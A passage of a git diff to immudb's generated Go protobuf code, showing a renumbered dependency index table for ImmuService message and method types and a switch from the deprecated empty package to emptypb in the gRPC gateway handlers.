immudb.schema.KeyRequest - 105, // 195: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 196: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 197: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 198: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 199: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 200: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 201: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 202: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 203: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 204: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 205: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 131, // 206: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 207: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 208: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 209: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 131, // 210: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 131, // 211: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 131, // 212: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 131, // 213: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 131, // 214: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 131, // 215: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 216: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 131, // 217: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 131, // 218: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 219: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 220: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 131, // 221: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 131, // 222: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 223: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 224: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 131, // 225: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 226: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 227: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 228: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 229: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 230: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 231: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 232: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 233: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 234: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 235: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 236: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 237: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 238: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 239: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 240: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 241: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 242: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 243: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 244: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 245: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 246: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 247: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 248: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 131, // 249: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 131, // 250: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 251: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 252: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 253: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 254: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 255: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 256: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 257: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 131, // 258: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 259: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 260: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 261: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 262: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 131, // 263: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 264: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 265: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 266: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 267: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 268: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 269: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 270: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 271: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 272: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 273: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 274: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 275: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 276: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 277: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 278: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 209, // [209:279] is the sub-list for method output_type - 139, // [139:209] is the sub-list for method input_type - 139, // [139:139] is the sub-list for extension type_name - 139, // [139:139] is the sub-list for extension extendee - 0, // [0:139] is the sub-list for field type_name + 80, // 81: immudb.schema.DatabaseNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 80, // 82: immudb.schema.DatabaseNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 78, // 83: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 79, // 84: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 79, // 85: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 75, // 86: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 79, // 87: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 79, // 88: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 78, // 89: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 75, // 90: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 75, // 91: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 75, // 92: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 93: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool + 75, // 94: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 95: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 96: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 97: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 75, // 98: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 76, // 99: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 75, // 100: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 75, // 101: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 75, // 102: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 103: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 104: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 105: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 106: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 75, // 107: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 80, // 108: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 75, // 109: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 110: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 115, // 111: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 94, // 112: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 113: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 96, // 114: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 115: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 116: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 124, // 117: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 125, // 118: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 126, // 119: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 127, // 120: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 121: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 122: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 104, // 123: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 124: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 109, // 125: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 109, // 126: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 115, // 127: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 111, // 128: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 129: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 128, // 130: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 129, // 131: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 113, // 132: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 114, // 133: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 115, // 134: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 130, // 135: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 136: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 76, // 137: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 138: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 115, // 139: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 140: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 131, // 141: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 142: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 143: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 144: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 145: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 146: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 147: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 148: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 131, // 149: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 131, // 150: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 151: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 131, // 152: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 131, // 153: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 154: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 155: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 156: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 131, // 157: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 158: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 159: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 160: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 161: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 162: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 163: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 164: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 165: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 166: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 131, // 167: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 168: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 169: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 170: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 171: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 172: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 131, // 173: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 131, // 174: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 131, // 175: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 176: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 177: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 178: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 179: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 180: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 181: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 182: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 183: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 184: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 185: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 186: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 131, // 187: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 188: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 189: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 190: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 191: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 131, // 192: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 193: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 194: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 131, // 195: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 196: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 197: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 198: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 199: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 200: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 201: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 202: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 203: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 204: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 205: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 206: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 207: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 131, // 208: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 209: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 210: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 6, // 211: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 131, // 212: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 131, // 213: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 131, // 214: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 131, // 215: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 131, // 216: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 131, // 217: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 218: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 131, // 219: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 131, // 220: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 221: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 222: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 131, // 223: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 131, // 224: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 225: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 226: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 131, // 227: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 228: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 229: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 230: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 231: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 232: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 233: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 234: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 235: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 236: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 237: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 238: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 239: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 240: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 241: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 242: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 243: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 244: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 245: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 246: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 247: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 248: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 249: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 250: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 131, // 251: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 131, // 252: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 253: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 254: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 255: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 256: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 257: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 258: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 259: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 131, // 260: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 261: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 262: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 263: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 264: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 131, // 265: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 266: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 267: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 268: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 269: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 270: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 271: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 272: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 273: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 274: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 275: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 276: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 277: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 278: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 279: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 280: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 211, // [211:281] is the sub-list for method output_type + 141, // [141:211] is the sub-list for method input_type + 141, // [141:141] is the sub-list for extension type_name + 141, // [141:141] is the sub-list for extension extendee + 0, // [0:141] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index 7ef153c0e9..8cbebe5665 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -15,7 +15,6 @@ import ( "github.com/golang/protobuf/descriptor" "github.com/golang/protobuf/proto" - "github.com/golang/protobuf/ptypes/empty" "github.com/grpc-ecosystem/grpc-gateway/runtime" "github.com/grpc-ecosystem/grpc-gateway/utilities" "google.golang.org/grpc" @@ -23,6 +22,7 @@ import ( "google.golang.org/grpc/grpclog" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" + "google.golang.org/protobuf/types/known/emptypb" ) // Suppress "imported and not used" errors @@ -35,7 +35,7 @@ var _ = descriptor.ForMessage var _ = metadata.Join func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.ListUsers(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -44,7 +44,7 @@ func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Mars } func local_request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.ListUsers(ctx, &protoReq) @@ -223,7 +223,7 @@ func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Ma } func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -240,7 +240,7 @@ func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshal } func local_request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -621,7 +621,7 @@ func local_request_ImmuService_Count_0(ctx 